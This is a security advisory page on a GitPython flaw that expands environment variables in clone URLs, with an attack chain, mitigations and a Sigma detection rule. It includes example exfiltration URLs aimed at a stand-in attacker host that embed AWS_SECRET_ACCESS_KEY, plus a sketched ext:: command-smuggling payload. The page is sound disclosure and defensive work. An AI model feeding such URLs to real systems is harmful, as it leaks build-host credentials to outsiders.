> ## Content Index
> Fetch the complete content index at: https://f4n6.co.uk/llms.txt
> Use this file to discover other available public pages before exploring further.

# GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL
- URL: https://f4n6.co.uk/security-feed/gitpython-environment-variable-exfiltration-via-os-path-expandvars-on-repo-clone_from-url/
- Published: 2026-09-24T18:36:39.000Z
- Updated: 2026-09-24T18:36:39.000Z
- Author: Jeff Davies
- Tags: #security-feed

## 1\. Executive summary

GitPython expands environment-variable tokens inside caller-supplied remote URLs before handing them to `git clone`, so an attacker who can submit a clone URL to an "import repository from URL" feature can read the hosting process's environment one variable per request. The flaw is present in every release up to and including 3.1.50; the first fix in 3.1.52 covered only `Repo.clone_from()`, and the same primitive stayed reachable through `Repo.create_remote()`, `Remote.add()` and `Submodule.add()` until 3.1.55\. A separate flaw in the same option filter, the omission of `--separate-git-dir` from `unsafe_git_clone_options`, was fixed in 3.1.59\. No CVSS score, no CISA KEV entry and no exploitation in the wild were resolved for this item in the material supplied; GitHub publishes the advisories in its high-severity feed. For EMEA financial services the exposure sits in CI/CD and build infrastructure that accepts untrusted repository URLs and holds cloud credentials, API tokens or signing keys in the process environment.

## 2\. Regulatory framing

No DORA article is engaged. DORA Art. 17, 18 and 19 cover the management, classification and reporting of ICT-related incidents, and no incident is described in this item. DORA Art. 28, 29 and 30 address contracted ICT third-party providers and concentration risk; an open-source Python library is not a contracted provider in the sense those articles use.

| Article            | Trigger (the fact in this item)                                                                                                                                                                 | Practical impact                                                                                                                            |
| ------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------- |
| NIS2 Art. 21(2)(d) | A third-party software dependency in the build and CI/CD supply chain expands attacker-supplied input into the pipeline's own environment secrets and transmits them to an attacker-named host. | Supply chain security measures must cover the dependency inventory, control of the untrusted clone-URL path, and update to a fixed release. |

## 3\. Technical analysis & attack chain

Confirmed steps, from the advisory and its reproduction:

1. An application exposes a feature that calls `Repo.clone_from()` or `Repo.clone()` with a URL that is wholly or partly attacker-controlled. The advisory names this as the documented pattern for "import repository from URL" features in CI servers, git-hosting mirrors and dependency scanners.
2. The attacker submits a URL containing an environment-variable token, for example `https://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git`. The token can sit in the path or in the host label.
3. `Repo._clone()` runs `Git.check_unsafe_protocols(url)` against the raw URL (`git/repo/base.py` line 1408 in 3.1.50). The raw string passes the `ext::` filter.
4. `Repo._clone()` then passes `Git.polish_url(url)` to the `git clone` subprocess (`git/repo/base.py` line 1417). On non-Cygwin platforms `polish_url()` calls `os.path.expandvars()` on the URL (`git/cmd.py` line 921).
5. `os.path.expandvars()` substitutes `$NAME` and `${NAME}` with `os.environ[NAME]` on POSIX, and additionally `%NAME%` on Windows. The URL now carries the literal secret.
6. `git clone` issues a DNS lookup and an HTTP(S) request to the attacker-named host with the secret in the request path. A token placed in the host label leaks through DNS resolution alone.
7. The clone normally fails, but the secret has already left the process. Each request discloses one variable, and the attacker repeats with different names.

The mechanism is a trust-boundary error rather than a memory-safety or injection flaw. `polish_url()` was written as a local-path normalisation helper (Cygwin path conversion, `~` expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no `expand_vars=False` opt-out for the clone URL, and the `clone_from` docstring describes `url` only as a "Valid git url". The maintainers already treat env-var expansion as a security concern for the local repository path: `Repo.__init__` emits a deprecation warning ("The use of environment variables in paths is deprecated for security reasons", `git/repo/base.py` lines 226 to 231) and offers `expand_vars=False`. The network-bound clone URL has no equivalent.

The check-then-use mismatch is the second-order problem. `check_unsafe_protocols()` validates the pre-expansion string while the post-expansion string is what reaches `git`. An attacker who also controls an environment variable in the server process can set `X=ext::sh -c '...'` and submit `url="$X"`; the raw `$X` passes the `ext::` filter and expands into a remote-helper transport that `git` executes. The advisory records this as an aggravating factor requiring a second precondition (env-var write), not as a separate vulnerability.

**Incomplete fix.** The 3.1.52 fix (commit `8ac5a305`) added an `expand_vars` parameter to `Git.polish_url()` with a default of `True`, and passed `expand_vars=False` only from `Repo._clone()` (`git/repo/base.py` line 1455 in 3.1.53). The shared helper kept its dangerous default and the sibling callers were not updated. `Remote.create()` at `git/remote.py` line 811 still calls `Git.polish_url(url)` with the default, so a URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git` is expanded server-side, written into `.git/config`, and transmitted to the attacker's host on the next `fetch` or `pull`. In that caller `check_unsafe_protocols()` runs after expansion, so it rejects an `ext::` payload but does nothing about an `https://` URL carrying an expanded secret. The same unguarded call sits at `git/objects/submodule/base.py` line 611 (`Submodule.add`), which writes the expanded URL into `.gitmodules`, a tracked file, as well as `.git/config`. This was fixed in 3.1.55.

**Separate issue in the same option filter.** Before 3.1.59, `--separate-git-dir` was omitted from `unsafe_git_clone_options`. An attacker can pass a `separate_git_dir` parameter to `Repo.clone_from()` or `Repo.clone()` to redirect repository metadata to a filesystem path of their choosing, which allows arbitrary directory creation and potential hook execution. This is distinct from the environment-variable expansion and was fixed in 3.1.59.

**Confidence.** The `clone_from` issue is corroborated by two advisory records (GHSA-rwj8-pgh3-r573 and GHSA-m4f3-g4cq-hqrx), the latter confirming the 3.1.52 fix version. The `create_remote` and `Submodule.add` issue is corroborated by GHSA-94p4-4cq8-9g67 and GHSA-9rmj-fh79-gf6w, the latter confirming 3.1.55\. The `--separate-git-dir` issue rests on GHSA-7r39-6q8m-qw68 alone and is single-sourced. The reproduction scripts in the advisories were run by the reporters against 3.1.50 and 3.1.53 on Linux; no independent reproduction is present in the material, and the secondary `ext::` bypass was not demonstrated end to end.

## 4\. Mitigation & containment

### P1 (within 24 hours)

- Inventory GitPython across CI/CD runners, build pipelines, dependency scanners, git mirrors and internal tooling: `pip show gitpython`, `pip freeze | grep -i gitpython`, and a scan of lockfiles and SBOMs.
- Identify every code path that passes an untrusted URL to `Repo.clone_from()`, `Repo.clone()`, `Repo.create_remote()`, `Remote.add()` or `Submodule.add()`. Where one exists, disable the feature or restrict it to an allowlist of approved hosts until the upgrade lands.
- Run the clone step in a subprocess with a stripped environment (PATH and the minimum required), so there is nothing for `expandvars()` to substitute. This is containment, not remediation.
- Block egress from build hosts and CI runners to hosts outside the approved remote list.
- Search existing working copies for damage: inspect `.git/config` and `.gitmodules` for expanded secret values or residual `${` tokens, and audit configured remote URLs.

### P2 (within 72 hours)

- Upgrade to `gitpython >= 3.1.59`, which covers all three advisories, and pin the version in `requirements.txt`, `pyproject.toml` and lockfiles. Rebuild affected images.
- Where the upgrade is blocked, on 3.1.52 or later call `Git.polish_url` with `expand_vars=False`, or reject any URL containing `$` or `%` before it reaches GitPython and enforce a scheme allowlist (`https`, `ssh`, `git`).
- Rotate every credential that was present in the environment of a process that accepted an untrusted clone URL, including `AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN` and any signing keys.
- If you maintain a fork, apply `check_unsafe_protocols()` to the post-transformation URL so no future `polish_url` change can bypass the `ext::` filter.

### P3 (within 7 days)

- Deploy the Sigma rule in §6 to CI runner and build host process-creation telemetry.
- Review every feature that accepts a repository URL and add host allowlisting plus authentication.
- Add GitPython to SBOM generation and dependency scanning with alerting on new advisories.
- Confirm that `separate_git_dir` is never populated from user input in any wrapper around `Repo.clone_from()` or `Repo.clone()`.

## 5\. Indicators of compromise

No indicators of compromise available in the source material. The sources describe observable behaviours but no atomic indicators, so no copyable indicator block is provided.

### Behavioural indicators

| Behaviour                                                                                                                              | Where to observe                                         | Confidence                                         |
| -------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------- | -------------------------------------------------- |
| git clone, fetch, pull or remote add command line whose URL contains a $NAME or ${NAME} token                                          | Process creation telemetry on CI runners and build hosts | High, taken directly from the advisory's mechanism |
| Outbound DNS or HTTP(S) request from a build host to a host outside the approved remote list, with a long or high-entropy path segment | DNS resolver and forward-proxy logs                      | Medium                                             |
| Expanded secret value present in .git/config or .gitmodules                                                                            | Repository working copies on build hosts                 | High                                               |
| Remote URL in .git/config containing a value matching a known credential format, such as an AWS access key ID                          | Repository config audit                                  | Medium                                             |
| Repeated clone attempts to the same host with different path segments                                                                  | Git server and proxy logs                                | Medium                                             |

These behaviours are derived from the advisory's described mechanism, not from observed incidents. Treat them as detection hypotheses to validate against your own telemetry before enforcement.

## 6\. Detection

No YARA rule is emitted. The artefacts in the source material are legitimate git flags, library source paths and PoC sentinel strings; a rule built from them would match the advisory's own reproduction script or ordinary git usage, not an attack.

The behavioural indicator is detectable at process creation:

```yaml
title: Git Remote URL Containing Environment Variable Token
id: 6f1c9a2e-3b7d-4c58-9a10-2d4e7f8b1c33
status: experimental
description: >
  Detects git clone, fetch, pull or remote add command lines whose remote URL
  contains a $NAME or ${NAME} environment variable token. GitPython's
  Git.polish_url() expands such tokens with the hosting process environment
  before passing the URL to git, so this pattern in a git command line
  indicates either the vulnerable code path or a direct attempt to exfiltrate
  process secrets.
references:

  - https://github.com/advisories/GHSA-rwj8-pgh3-r573
  - https://github.com/advisories/GHSA-94p4-4cq8-9g67
author: Adverse Trace
date: 2026/09/24
tags:

  - attack.exfiltration
  - attack.t1041
logsource:
  category: process_creation
detection:
  selection_git:
    Image|endswith:

      - '/git'
      - '\git.exe'
  selection_url:
    CommandLine|re: '(https?|ssh|git)://[^\s]*\$\{?[A-Za-z_][A-Za-z0-9_]*'
  condition: selection_git and selection_url
falsepositives:

  - Scripts that pass a literal dollar sign inside a URL. Verify the URL host against the approved remote allowlist before escalating.
level: high

```

The rule is written for Linux runners; add the Windows `git.exe` image path (already listed) and the equivalent Sysmon process-creation source for Windows build agents.

## 7\. Sources

- GitHub Security Advisories, "GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone\_from() URL" (GHSA-rwj8-pgh3-r573), https://github.com/advisories/GHSA-rwj8-pgh3-r573, published 2026-07-21.
- GitHub Security Advisories, "GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone\_from()" (GHSA-m4f3-g4cq-hqrx), https://github.com/advisories/GHSA-m4f3-g4cq-hqrx.
- GitHub Security Advisories, "GitPython: Environment-variable exfiltration via Repo.create\_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)" (GHSA-94p4-4cq8-9g67), https://github.com/advisories/GHSA-94p4-4cq8-9g67.
- GitHub Security Advisories, "GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling" (GHSA-9rmj-fh79-gf6w), https://github.com/advisories/GHSA-9rmj-fh79-gf6w.
- GitHub Security Advisories, "GitPython before 3.1.59 omits --separate-git-dir from unsafe\_git\_clone\_options" (GHSA-7r39-6q8m-qw68), https://github.com/advisories/GHSA-7r39-6q8m-qw68.
- GitHub Advisory Database, CVE-2026-67322, https://github.com/advisories/GHSA-rwj8-pgh3-r573.

## 8\. Adverse Trace position

No CVSS score, no CISA KEV entry and no exploitation in the wild were resolved for this item; the advisories are published in GitHub's high-severity feed, and we are not re-scoring them here. The technical impact is disclosure only, with no integrity or availability effect, but the disclosed values are the credentials that grant access to source, cloud and signing infrastructure, which raises the consequence of a successful request well above the flaw's own footprint. The affected population is narrow and identifiable: applications that accept a clone URL from an untrusted source and run the cloner in a process holding secrets. Clients that do not expose such a feature, or that strip the cloner's environment, are not exposed. The `--separate-git-dir` issue is single-sourced; verify before treating it as confirmed. We will track the GitPython release stream for any further callers of `Git.polish_url()` that retain the `expand_vars=True` default, and we will reissue this note if a CVE record with a CVSS vector or a KEV entry appears. Clients running GitPython in CI/CD should treat the 3.1.59 upgrade and the credential rotation in §4 as the immediate action.

---

[Read the original source →](https://github.com/advisories/GHSA-rwj8-pgh3-r573?ref=f4n6.co.uk)

*Published via PulseTrace — Adverse Trace threat intelligence.*